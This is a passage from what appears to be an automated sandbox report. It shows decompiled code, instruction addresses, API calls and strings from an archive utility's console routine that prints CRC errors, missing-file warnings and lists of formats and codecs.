												__eflags =  *((intOrPtr*)(_t1081 - 0x2a0)) - _t1075;
												if( *((intOrPtr*)(_t1081 - 0x2a0)) != _t1075) {
													goto L74;
												} else {
													 *(_t1081 - 0x330) = 1;
												}
											}
											E00401E26(_t1081 - 0x33c, _t1081 - 0x2a4);
											 *((char*)(_t1081 - 0x33f)) =  *((intOrPtr*)(_t1081 - 0x1a0));
											E00405172(_t1081 - 0x378, _t829);
											E00404BAF(_t1081 - 0x11c);
											_push(_t1081 - 0x2b4);
											_push(_t1081 - 0x60);
											_push(_t1065);
											 *(_t1081 - 4) = 0x16;
											_t642 = E00419B56(_t1081 - 0x248, _t1049);
											__eflags = _t642;
											if(_t642 == 0) {
												_t725 =  *0x48aad8; // 0x48aaf4
												 *(_t1081 - 0x14) = _t725;
												E0046B8F4(_t1081 - 0x14, 0x47d358);
											}
											_t1057 = _t1081 - 0x2cc;
											_push(_t1081 - 0x378);
											_push(_t1081 - 0x148);
											_push(_t1081 - 0x11c);
											_push(_t1081 - 0x248);
											_t647 = E00419FDE(_t1065, _t1081 - 0x2cc);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
											__eflags =  *(_t1081 - 0x2fc);
											 *(_t1081 - 0x14) = _t647;
											_t1079 = 0x407ccd;
											if( *(_t1081 - 0x2fc) > 0) {
												L00407CC0(_t829, 0x407ccd);
												L00407CC0(L00407CC0(E00407CD5(_t829, "WARNINGS for files:"), 0x407ccd), 0x407ccd);
												_t706 =  *(_t1081 - 0x2fc);
												_t1070 = 0;
												__eflags = _t706;
												 *(_t1081 - 0x1c) = _t706;
												if(__eflags > 0) {
													do {
														_push(" : ");
														E00407CD5(L00407CEC(_t829),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2f8)) + _t1070 * 4)))));
														_t1057 =  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2e4)) + _t1070 * 4));
														_t720 = E00404B09(_t1081 - 0x2c,  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x2e4)) + _t1070 * 4)));
														_push(0x407ccd);
														 *(_t1081 - 4) = 0x17;
														L00407CC0(L00407CEC(_t829),  *_t720);
														 *(_t1081 - 4) = 0x16;
														L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
														_t1070 = _t1070 + 1;
														__eflags = _t1070 -  *(_t1081 - 0x1c);
													} while (__eflags < 0);
												}
												L00407CC0(E00407CD5(_t829, "----------------"), _t1079);
												E00407CD5(L00407DC6(E00407CD5(_t829, "WARNING: Cannot find "), _t1057, __eflags,  *(_t1081 - 0x1c)), " file");
												_t1071 = 1;
												__eflags =  *(_t1081 - 0x1c) - _t1071;
												if( *(_t1081 - 0x1c) > _t1071) {
													E00407CD5(_t829, "s");
												}
												L00407CC0(_t829, _t1079);
												 *(_t1081 - 0x18) = _t1071;
												_t1065 =  *(_t1081 - 0x20);
											}
											__eflags =  *(_t1081 - 0x14);
											if( *(_t1081 - 0x14) != 0) {
												_t1065 = 0;
												 *((intOrPtr*)(_t1081 - 0x38)) = 0;
												 *(_t1081 - 0x34) = 0;
												 *(_t1081 - 0x30) = 0;
												E00401E9A(_t1081 - 0x38, 3);
												__eflags =  *(_t1081 - 0xfc);
												 *(_t1081 - 4) = 0x18;
												_t1079 = "\n";
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x100);
													L004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *((intOrPtr*)(_t1081 - 0x114)) - _t1065;
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x118);
													L004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *((intOrPtr*)(_t1081 - 0x108)) - _t1065;
												if(__eflags != 0) {
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t1081 - 0x10c);
													L004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												_t1057 =  *((intOrPtr*)(_t1081 - 0x11c));
												__eflags =  *((intOrPtr*)(_t1081 - 0x11c)) - _t1065;
												if( *((intOrPtr*)(_t1081 - 0x11c)) != _t1065) {
													_t689 = E00404B09(_t1081 - 0x2c, _t1057);
													 *(_t1081 - 4) = 0x19;
													E00405529(_t1081 - 0x38, _t1057, __eflags, _t689);
													 *(_t1081 - 4) = 0x18;
													L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
													L004035F2(_t1081 - 0x38, _t1057, _t1079);
												}
												__eflags =  *(_t1081 - 0x34) - _t1065;
												if( *(_t1081 - 0x34) != _t1065) {
													_push( *((intOrPtr*)(_t1081 - 0x38)));
													_push(L"\nError:\n");
													L00407CEC(L00407CEC(_t829));
												}
												E0046B8F4(_t1081 - 0x14, 0x47d368);
											}
											_t648 =  *(_t1081 - 0x324);
											__eflags = _t648;
											 *(_t1081 - 0x1c) = _t648;
											if(_t648 != 0) {
												L00407CC0(_t829, _t1079);
												L00407CC0(L00407CC0(E00407CD5(_t829, "WARNINGS for files:"), _t1079), _t1079);
												_t1068 = 0;
												__eflags =  *(_t1081 - 0x1c);
												if(__eflags > 0) {
													do {
														_push(" : ");
														E00407CD5(L00407CEC(_t829),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x320)) + _t1068 * 4)))));
														_t1057 =  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x30c)) + _t1068 * 4));
														_t676 = E00404B09(_t1081 - 0x128,  *((intOrPtr*)( *((intOrPtr*)(_t1081 - 0x30c)) + _t1068 * 4)));
														_push(_t1079);
														 *(_t1081 - 4) = 0x1a;
														L00407CC0(L00407CEC(_t829),  *_t676);
														 *(_t1081 - 4) = 0x16;
														L00407A18( *((intOrPtr*)(_t1081 - 0x128)));
														_t1068 = _t1068 + 1;
														__eflags = _t1068 -  *(_t1081 - 0x1c);
													} while (__eflags < 0);
												}
												L00407CC0(E00407CD5(_t829, "----------------"), _t1079);
												E00407CD5(L00407DC6(E00407CD5(_t829, "WARNING: Cannot open "), _t1057, __eflags,  *(_t1081 - 0x1c)), " file");
												_t1069 = 1;
												__eflags =  *(_t1081 - 0x1c) - _t1069;
												if( *(_t1081 - 0x1c) > _t1069) {
													E00407CD5(_t829, "s");
												}
												L00407CC0(_t829, _t1079);
												 *(_t1081 - 0x18) = _t1069;
												_t1065 =  *(_t1081 - 0x20);
											} else {
												__eflags =  *(_t1081 - 0x2fc) - _t648;
												if( *(_t1081 - 0x2fc) == _t648) {
													L00407CC0(E00407CD5(_t829,  *0x48aacc), _t1079);
												}
											}
											 *(_t1081 - 4) = 0x15;
											E004054DE(_t1081 - 0x11c);
											 *(_t1081 - 4) = 0x14;
											E004050D8(_t1081 - 0x378);
											L00407A18( *((intOrPtr*)(_t1081 - 0x13c)));
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065;
											 *(_t1081 - 4) = 4;
											if(_t1065 != 0) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
											E00405233(_t1081 - 0x2d8, __eflags);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0x1b;
											E0040862D();
											 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
											E00408604(_t1081 - 0x4c);
											_t554 =  *(_t1081 - 0x18);
										}
										goto L110;
									}
								}
							} else {
								_t729 = E0040807A(L"CRC");
								_t133 = _t829 + 4; // 0x48de00
								_t996 =  *_t133;
								_t1049 =  *((intOrPtr*)(_t1081 - 0x160));
								_push( *((intOrPtr*)(_t1081 - 0x158)));
								__eflags = _t729 - _t1075;
								_push( *((intOrPtr*)(_t1081 - 0x15c)));
								if(__eflags != 0) {
									L55:
									_t730 = E004012BB(_t996, _t1049, __eflags);
									__eflags = _t730 - _t1075;
									if(_t730 == _t1075) {
										goto L107;
									} else {
										__eflags = _t730 - 1;
										if(_t730 != 1) {
											 *(_t1081 - 0x14) = _t730;
											E0046B8F4(_t1081 - 0x14, 0x47d368);
											goto L61;
										} else {
											E00407CD5(_t829, "\nDecoding Error\n");
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
											E00405233(_t1081 - 0x2d8, __eflags);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0xc;
											L154:
											E0040862D();
											 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
											E00408604(_t1081 - 0x4c);
											_t554 = 2;
											goto L110;
										}
									}
								} else {
									_t739 = E00401679(_t996, _t1049, __eflags);
									__eflags = _t739 - _t1075;
									if(_t739 == _t1075) {
										L107:
										 *(_t1081 - 4) = 7;
										E00408604(_t1081 - 0x60);
										_t583 =  *(_t1081 - 0x20);
										 *(_t1081 - 4) = 4;
										__eflags = _t583;
										if(_t583 != 0) {
											 *((intOrPtr*)( *_t583 + 8))(_t583);
										}
										 *(_t1081 - 4) = 3;
										E00406E46(_t1081 - 0x7c);
										 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
										E00405233(_t1081 - 0x2d8, __eflags);
										 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
										 *(_t1081 - 4) = 0x1c;
										E0040862D();
										 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
										E00408604(_t1081 - 0x4c);
										_t554 = 0;
										__eflags = 0;
										goto L110;
									} else {
										__eflags = _t739 - 1;
										if(__eflags != 0) {
											 *(_t1081 - 0x14) = _t739;
											E0046B8F4(_t1081 - 0x14, 0x47d368);
											goto L55;
										} else {
											E00407CD5(_t829, "\nCRC Error\n");
											 *(_t1081 - 4) = 7;
											E00408604(_t1081 - 0x60);
											__eflags = _t1065 - _t1075;
											 *(_t1081 - 4) = 4;
											if(_t1065 != _t1075) {
												 *((intOrPtr*)( *_t1065 + 8))(_t1065);
											}
											 *(_t1081 - 4) = 3;
											E00406E46(_t1081 - 0x7c);
											_t143 = _t1081 - 4;
											 *_t143 =  *(_t1081 - 4) & 0x00000000;
											__eflags =  *_t143;
											E00405233(_t1081 - 0x2d8,  *_t143);
											 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
											 *(_t1081 - 4) = 0xb;
											_t1075 = 2;
											goto L53;
										}
									}
								}
							}
						} else {
							L00407CC0(E00407CD5(L00407CC0(_t829, 0x407ccd), "Formats:"), 0x407ccd);
							 *(_t1081 - 0x1c) =  *(_t1081 - 0x1c) & 0x00000000;
							__eflags =  *(_t1065 + 0x10);
							if( *(_t1065 + 0x10) > 0) {
								do {
									_t1073 =  *((intOrPtr*)( *((intOrPtr*)( *(_t1081 - 0x20) + 0x14)) +  *(_t1081 - 0x1c) * 4));
									E00407CD5(_t829, "  ");
									_t764 = L00407DAD(_t829, 0x20);
									__eflags =  *_t1073;
									_t769 = L00407DAD(_t829, ((_t764 & 0xffffff00 |  *_t1073 == 0x00000000) - 0x00000001 & 0x00000023) + 0x20);
									__eflags =  *((char*)(_t1073 + 0x38));
									L00407DAD(_t829, ((_t769 & 0xffffff00 |  *((char*)(_t1073 + 0x38)) == 0x00000000) - 0x00000001 & 0x0000002b) + 0x20);
									E00407CD5(_t829, "  ");
									_t1059 = _t1073 + 0xc;
									E00405208(_t829, _t1073 + 0xc, 6);
									E00407CD5(_t829, "  ");
									 *((intOrPtr*)(_t1081 - 0x2c)) = 0;
									 *(_t1081 - 0x28) = 0;
									 *((intOrPtr*)(_t1081 - 0x24)) = 0;
									E00401E9A(_t1081 - 0x2c, 3);
									 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
									__eflags =  *(_t1073 + 0x20);
									 *(_t1081 - 4) = 9;
									if(__eflags > 0) {
										do {
											 *(_t1081 - 0x30) =  *( *((intOrPtr*)(_t1073 + 0x24)) +  *(_t1081 - 0x18) * 4);
											E00405529(_t1081 - 0x2c, _t1059, __eflags,  *( *((intOrPtr*)(_t1073 + 0x24)) +  *(_t1081 - 0x18) * 4));
											__eflags =  *( *(_t1081 - 0x30) + 0x10);
											if(__eflags != 0) {
												L004035F2(_t1081 - 0x2c, _t1059, L" (");
												__eflags =  *(_t1081 - 0x30) + 0xc;
												E00405529(_t1081 - 0x2c, _t1059, __eflags,  *(_t1081 - 0x30) + 0xc);
												E004054FE(_t1081 - 0x2c, _t1059, __eflags, 0x29);
											}
											E004054FE(_t1081 - 0x2c, _t1059, __eflags, 0x20);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) + 1;
											__eflags =  *(_t1081 - 0x18) -  *(_t1073 + 0x20);
										} while (__eflags < 0);
									}
									E00405208(_t829, _t1081 - 0x2c, 0xe);
									E00407CD5(_t829, "  ");
									 *(_t1081 - 0x18) =  *(_t1081 - 0x18) & 0x00000000;
									__eflags =  *(_t1073 + 0x30);
									if( *(_t1073 + 0x30) > 0) {
										do {
											_t786 =  *((intOrPtr*)( *((intOrPtr*)(_t1073 + 0x34)) +  *(_t1081 - 0x18)));
											__eflags = _t786 - 0x20;
											 *(_t1081 - 0x14) = _t786;
											if(_t786 <= 0x20) {
												L34:
												_t787 = _t786 >> 4;
												__eflags = _t787 - 0xa;
												_t788 = _t787 & 0x000000ff;
												if(_t787 >= 0xa) {
													_t789 = _t788 + 0x37;
													__eflags = _t788 + 0x37;
												} else {
													_t789 = _t788 + 0x30;
												}
												L00407DAD(_t829, _t789);
												_t792 =  *(_t1081 - 0x14) & 0x0000000f;
												__eflags = _t792 - 0xa;
												_t793 = _t792 & 0x000000ff;
												if(_t792 >= 0xa) {
													_t794 = _t793 + 0x37;
													__eflags = _t794;
												} else {
													_t794 = _t793 + 0x30;
												}
												_push(_t794);
											} else {
												__eflags = _t786 - 0x80;
												if(_t786 >= 0x80) {
													goto L34;
												} else {
													_push( *(_t1081 - 0x14));
												}
											}
											L00407DAD(_t829);
											L00407DAD(_t829, 0x20);
											 *(_t1081 - 0x18) =  *(_t1081 - 0x18) + 1;
											__eflags =  *(_t1081 - 0x18) -  *(_t1073 + 0x30);
										} while ( *(_t1081 - 0x18) <  *(_t1073 + 0x30));
									}
									L00407CC0(_t829, 0x407ccd);
									 *(_t1081 - 4) = 8;
									L00407A18( *((intOrPtr*)(_t1081 - 0x2c)));
									 *(_t1081 - 0x1c) =  *(_t1081 - 0x1c) + 1;
									_t784 =  *(_t1081 - 0x20);
									__eflags =  *(_t1081 - 0x1c) -  *((intOrPtr*)(_t784 + 0x10));
								} while ( *(_t1081 - 0x1c) <  *((intOrPtr*)(_t784 + 0x10)));
							}
							L00407CC0(E00407CD5(L00407CC0(_t829, 0x407ccd), "Codecs:"), 0x407ccd);
							 *(_t1081 - 4) = 7;
							E00408604(_t1081 - 0x60);
							_t757 =  *(_t1081 - 0x20);
							 *(_t1081 - 4) = 4;
							__eflags = _t757;
							if(_t757 != 0) {
								 *((intOrPtr*)( *_t757 + 8))(_t757);
							}
							 *(_t1081 - 4) = 3;
							E00406E46(_t1081 - 0x7c);
							 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
							E00405233(_t1081 - 0x2d8, __eflags);
							 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
							 *(_t1081 - 4) = 0xa;
							_t1075 = 0;
							goto L53;
						}
					} else {
						E004051E3(0x490ab8, 1);
						 *(_t1081 - 4) = 3;
						E00406E46(_t1081 - 0x7c);
						 *(_t1081 - 4) =  *(_t1081 - 4) & 0x00000000;
						E00405233(_t1081 - 0x2d8, __eflags);
						 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
						 *(_t1081 - 4) = 5;
						goto L53;
					}
				} else {
					E004051E3(0x490ab8, 1);
					 *((intOrPtr*)(_t1081 - 0x4c)) = 0x47a420;
					 *(_t1081 - 4) = 2;
					L53:
					E0040862D();
					 *(_t1081 - 4) =  *(_t1081 - 4) | 0xffffffff;
					E00408604(_t1081 - 0x4c);
					_t554 = _t1075;
					L110:
					 *[fs:0x0] =  *((intOrPtr*)(_t1081 - 0xc));
					return _t554;
				}
			}

0x00403a75
0x00403a7a
0x00403a80
0x00403a83
0x00403a8c
0x00403a96
0x00403a99
0x00403a9b
0x00403aa8
0x00403aad
0x00403ab3
0x00403ab7
0x00403abc
0x00403ac3
0x00403acd
0x00403af0
0x00403afb
0x00403b03
0x00403b07
0x00403b15
0x00403b19
0x00403b1a
0x00403b1e
0x00403b23
0x00403b2a
0x00403b62
0x00403b69
0x00403b6b
0x00403b72
0x00403b72
0x00403b77
0x00403b7e
0x00403b83
0x00403b85
0x00403b85
0x00403b8a
0x00403b91
0x00403b97
0x00403b99
0x00403b99
0x00403b9d
0x00403b9d
0x00403bab
0x00403bac
0x00403bb1
0x00403bb3
0x00403bb9
0x00403bbc
0x00403bbe
0x00403bc2
0x00403bcf
0x00403bcf
0x00403bc4
0x00403bcb
0x00403bcb
0x00403bd1
0x00403bd3
0x00403bd6
0x00403bda
0x00403be0
0x00403be5
0x00403be5
0x00403bea
0x00403bee
0x00403bf3
0x00403bf5
0x00403bf7
0x00403c03
0x00403c03
0x00403c0e
0x00403c13
0x00403c16
0x00403c19
0x00403c1b
0x00403c1d
0x00403c37
0x00403c37
0x00403c41
0x00403c48
0x00403c1f
0x00403c1f
0x00403c26
0x00000000
0x00403c28
0x00403c2e
0x00403c33
0x00403c35
0x00000000
0x00000000
0x00403c35
0x00403c26
0x00403c1d
0x00403c4d
0x00403c52
0x00403c57
0x00403c63
0x00403c6a
0x00403c6b
0x00403c6f
0x00403c74
0x00403c76
0x00403c78
0x00403c82
0x00403c89
0x00403c89
0x00403c8e
0x00403c95
0x00403ecc
0x00403ed3
0x0040400d
0x0040400d
0x00404011
0x00404572
0x00404574
0x0040457a
0x0040457d
0x0040457f
0x00404583
0x00404590
0x00404590
0x00404585
0x0040458c
0x0040458c
0x00404592
0x00404594
0x00404598
0x0040459b
0x004045a0
0x004045a0
0x004045a3
0x004045ac
0x004045b6
0x004045b9
0x004045bd
0x004045ca
0x004045cd
0x004045d0
0x004045d3
0x004045d6
0x004045d9
0x004045dc
0x004045df
0x004045e2
0x004045f3
0x00404600
0x00404604
0x0040460a
0x00404615
0x0040461a
0x00404626
0x0040462a
0x00404630
0x00404636
0x0040463b
0x00404642
0x00404651
0x0040465d
0x0040466a
0x0040467b
0x00404687
0x0040468d
0x0040469e
0x0040469f
0x004046a7
0x004046ac
0x004046af
0x004046b2
0x004046c3
0x004046c9
0x004046d0
0x004046d1
0x004046db
0x004046dc
0x004046e3
0x004046e7
0x004046f1
0x004046f5
0x004046fa
0x004046fe
0x00404706
0x00404708
0x00404721
0x00404726
0x0040472a
0x0040472c
0x0040472c
0x0040472a
0x00404736
0x0040473b
0x0040473e
0x00404741
0x00404743
0x0040474a
0x00404762
0x00404745
0x00404745
0x00404748
0x00000000
0x00000000
0x00404748
0x0040476a
0x0040476d
0x004048d7
0x004048d7
0x004048db
0x004048e3
0x004048e6
0x004048eb
0x004048ee
0x004048f3
0x004048f5
0x0040490f
0x0040490f
0x00404914
0x00404917
0x0040491c
0x0040491e
0x00404938
0x00404938
0x004048dd
0x004048dd
0x004048e1
0x00000000
0x00000000
0x004048e1
0x0040493d
0x00404941
0x0040494b
0x00404952
0x00404952
0x0040495a
0x00404960
0x0040496a
0x00404975
0x0040497a
0x0040497d
0x00404981
0x00404986
0x00404986
0x0040498c
0x00404990
0x00404995
0x00404998
0x0040499c
0x0040499e
0x004049a3
0x004049a3
0x004049a9
0x004049ad
0x004049b2
0x004049bc
0x004049c1
0x004049c8
0x00000000
0x00404773
0x00404776
0x00404779
0x00000000
0x0040477f
0x0040477f
0x00404783
0x0040478d
0x00404794
0x00404794
0x00404799
0x004047a1
0x004047a7
0x004047c6
0x004047cb
0x004047cb
0x004047d1
0x004047d8
0x004047eb
0x0040480d
0x004047da
0x004047da
0x004047e1
0x00000000
0x004047e3
0x004047e3
0x004047e9
0x00000000
0x00000000
0x004047e9
0x004047e1
0x0040485b
0x00404860
0x00404867
0x00404875
0x00404897
0x00404897
0x0040489f
0x004048a5
0x004048af
0x004048ba
0x004048bf
0x004048c2
0x004048c6
0x004048cf
0x004048cf
0x00000000
0x004048c6
0x00404779
0x00000000
0x00404017
0x00404017
0x0040401e
0x004049dd
0x004049e4
0x004049eb
0x004049ec
0x004049ef
0x004049f5
0x004049fd
0x00404a06
0x00404a08
0x00404a0f
0x00404a16
0x00404a17
0x00404a1d
0x00404a22
0x00404a25
0x00404a30
0x00404a53
0x00404a5b
0x00404a5f
0x00404a64
0x00404a66
0x00404a6a
0x00404a6f
0x00404a6f
0x00404a75
0x00404a79
0x00404a7e
0x00404a7e
0x00404a7e
0x00404a88
0x00404a8d
0x00404a94
0x00000000
0x00404a27
0x00404a27
0x00404a2a
0x00404ab7
0x00404ab9
0x00000000
0x00404abf
0x00404abf
0x00404acb
0x00404ad0
0x00404ad2
0x00404ad4
0x00404ad7
0x00404ada
0x00404ae1
0x00404ae4
0x00404aea
0x00404aea
0x00000000
0x00000000
0x00000000
0x00404a2a
0x00404024
0x0040402a
0x0040402f
0x00404031
0x00404502
0x00000000
0x00404037
0x00404037
0x0040403e
0x00404040
0x00404046
0x00404054
0x00404054
0x00404046
0x0040405f
0x00404064
0x0040406b
0x0040406f
0x00404075
0x00404085
0x00404085
0x00404085
0x00404085
0x00404077
0x00404077
0x0040407d
0x00000000
0x0040407f
0x0040407f
0x0040407f
0x0040407d
0x00404092
0x0040409f
0x004040aa
0x004040b5
0x004040bc
0x004040c5
0x004040c9
0x004040cf
0x004040e2
0x004040e2
0x004040e2
0x004040e2
0x004040d1
0x004040d1
0x004040d7
0x00000000
0x004040d9
0x004040d9
0x004040d9
0x004040d7
0x004040f6
0x00404108
0x0040410e
0x00404119
0x0040412a
0x0040412e
0x0040412f
0x00404130
0x00404134
0x00404139
0x0040413b
0x0040413d
0x00404147
0x0040414e
0x0040414e
0x00404159
0x0040415f
0x00404166
0x0040416d
0x00404174
0x00404177
0x0040417c
0x00404180
0x00404187
0x0040418a
0x0040418f
0x00404198
0x004041b4
0x004041b9
0x004041bf
0x004041c1
0x004041c3
0x004041c6
0x004041c8
0x004041ce
0x004041e2
0x004041f0
0x004041f3
0x004041fa
0x004041fe
0x00404209
0x0040420e
0x00404215
0x0040421a
0x0040421c
0x0040421c
0x004041c8
0x00404230
0x00404252
0x00404259
0x0040425a
0x0040425d
0x00404266
0x00404266
0x0040426e
0x00404273
0x00404276
0x00404276
0x00404279
0x0040427d
0x00404283
0x0040428a
0x0040428d
0x00404290
0x00404293
0x00404298
0x0040429e
0x004042a2
0x004042a7
0x004042b3
0x004042bc
0x004042bc
0x004042c1
0x004042c7
0x004042d3
0x004042dc
0x004042dc
0x004042e1
0x004042e7
0x004042f3
0x004042fc
0x004042fc
0x00404301
0x00404307
0x00404309
0x0040430e
0x00404317
0x0040431b
0x00404320
0x00404327
0x00404331
0x00404331
0x00404336
0x00404339
0x0040433b
0x00404340
0x0040434c
0x0040434c
0x00404360
0x00404360
0x00404365
0x0040436b
0x0040436d
0x00404370
0x0040439b
0x004043b7
0x004043bc
0x004043be
0x004043c1
0x004043c3
0x004043c9
0x004043dd
0x004043ee
0x004043f1
0x004043f8
0x004043fc
0x00404407
0x0040440c
0x00404416
0x0040441b
0x0040441d
0x0040441d
0x004043c3
0x00404431
0x00404453
0x0040445a
0x0040445b
0x0040445e
0x00404467
0x00404467
0x0040446f
0x00404474
0x00404477
0x00404372
0x00404372
0x00404378
0x0040438e
0x0040438e
0x00404378
0x00404480
0x00404484
0x0040448f
0x00404493
0x0040449e
0x004044a4
0x004044ab
0x004044b0
0x004044b2
0x004044b6
0x004044bb
0x004044bb
0x004044c1
0x004044c5
0x004044ca
0x004044d4
0x004044d9
0x004044e3
0x004044ea
0x004044ef
0x004044f6
0x004044fb
0x004044fb
0x00000000
0x00404031
0x0040401e
0x00403ed9
0x00403ee4
0x00403ee9
0x00403ee9
0x00403eec
0x00403ef2
0x00403ef8
0x00403efa
0x00403f00
0x00403f96
0x00403f96
0x00403f9b
0x00403f9d
0x00000000
0x00403fa3
0x00403fa3
0x00403fa6
0x00403ffc
0x00404008
0x00000000
0x00403fa8
0x00403faf
0x00403fb7
0x00403fbb
0x00403fc0
0x00403fc2
0x00403fc6
0x00403fcb
0x00403fcb
0x00403fd1
0x00403fd5
0x00403fda
0x00403fe4
0x00403fe9
0x00403ff0
0x00404a9b
0x00404a9e
0x00404aa3
0x00404aaa
0x00404ab1
0x00000000
0x00404ab1
0x00403fa6
0x00403f06
0x00403f06
0x00403f0b
0x00403f0d
0x00404507
0x0040450a
0x0040450e
0x00404513
0x00404516
0x0040451a
0x0040451c
0x00404521
0x00404521
0x00404527
0x0040452b
0x00404530
0x0040453a
0x0040453f
0x00404549
0x00404550
0x00404555
0x0040455c
0x00404561
0x00404561
0x00000000
0x00403f13
0x00403f13
0x00403f16
0x00403f85
0x00403f91
0x00000000
0x00403f18
0x00403f1f
0x00403f27
0x00403f2b
0x00403f30
0x00403f32
0x00403f36
0x00403f3b
0x00403f3b
0x00403f41
0x00403f45
0x00403f4a
0x00403f4a
0x00403f4a
0x00403f54
0x00403f59
0x00403f62
0x00403f69
0x00000000
0x00403f69
0x00403f16
0x00403f0d
0x00403f00
0x00403c9b
0x00403cb7
0x00403cbf
0x00403cc3
0x00403cc5
0x00403ccb
0x00403cd9
0x00403cde
0x00403ce7
0x00403cec
0x00403cfc
0x00403d01
0x00403d12
0x00403d1e
0x00403d23
0x00403d2a
0x00403d36
0x00403d42
0x00403d45
0x00403d48
0x00403d4b
0x00403d50
0x00403d54
0x00403d58
0x00403d5c
0x00403d5e
0x00403d6b
0x00403d6e
0x00403d76
0x00403d7a
0x00403d84
0x00403d8f
0x00403d93
0x00403d9d
0x00403d9d
0x00403da7
0x00403dac
0x00403db2
0x00403db2
0x00403d5e
0x00403dbe
0x00403dca
0x00403dcf
0x00403dd3
0x00403dd7
0x00403dd9
0x00403ddf
0x00403de2
0x00403de4
0x00403de7
0x00403df2
0x00403df2
0x00403df5
0x00403df7
0x00403dfa
0x00403e01
0x00403e01
0x00403dfc
0x00403dfc
0x00403dfc
0x00403e07
0x00403e0f
0x00403e11
0x00403e13
0x00403e16
0x00403e1d
0x00403e1d
0x00403e18
0x00403e18
0x00403e18
0x00403e20
0x00403de9
0x00403de9
0x00403deb
0x00000000
0x00403ded
0x00403ded
0x00403ded
0x00403deb
0x00403e23
0x00403e2c
0x00403e31
0x00403e37
0x00403e37
0x00403dd9
0x00403e3f
0x00403e44
0x00403e4b
0x00403e50
0x00403e53
0x00403e5a
0x00403e5a
0x00403ccb
0x00403e7a
0x00403e82
0x00403e86
0x00403e8b
0x00403e8e
0x00403e92
0x00403e94
0x00403e99
0x00403e99
0x00403e9f
0x00403ea3
0x00403ea8
0x00403eb2
0x00403eb7
0x00403ebe
0x00403ec5
0x00000000
0x00403ec5
0x00403b2c
0x00403b33
0x00403b3b
0x00403b3f
0x00403b44
0x00403b4e
0x00403b53
0x00403b56
0x00000000
0x00403b56
0x00403acf
0x00403ad6
0x00403adb
0x00403ade
0x00403f6a
0x00403f6d
0x00403f72
0x00403f79
0x00403f7e
0x00404563
0x00404569
0x00404571
0x00404571

APIs

__EH_prolog.LIBCMT ref: 00403A75
SetFileApisToOEM.KERNEL32 ref: 00403A83
GetCommandLineW.KERNEL32 ref: 00403A9E

Part of subcall function 00406C53: __EH_prolog.LIBCMT ref: 00406C58

Part of subcall function 0046B8F4: KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 00407CEC: __EH_prolog.LIBCMT ref: 00407CF1

Part of subcall function 00404B09: __EH_prolog.LIBCMT ref: 00404B0E

Part of subcall function 00405233: __EH_prolog.LIBCMT ref: 00405238

Strings

Error: , xrefs: 0040470D
: , xrefs: 004041CE, 004043C9
Errors: , xrefs: 00404A3B
Formats:, xrefs: 00403CA3
Decoding Error, xrefs: 00403FA8
----------------, xrefs: 00404222, 00404423
Files: , xrefs: 004047FA
WARNING: Cannot find , xrefs: 0040423F
CRC: , xrefs: 00404884
59@, xrefs: 00403A91, 00403EB7, 00403F59, 00403FE9, 004044D9, 0040453F, 004049C1, 00404A8D
Archives: , xrefs: 0040474D
Codecs:, xrefs: 00403E64
Sub items Errors: , xrefs: 00404923
CRC, xrefs: 00403EDF
file, xrefs: 00404237, 00404438
WARNING: Cannot open , xrefs: 00404440
Error:, xrefs: 00404340
CRC Error, xrefs: 00403F18
Compressed: , xrefs: 00404821
WARNINGS for files:, xrefs: 004041A1, 004043A4
Archive Errors: , xrefs: 004048FA
Size: , xrefs: 00404833
Folders: , xrefs: 004047B3

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
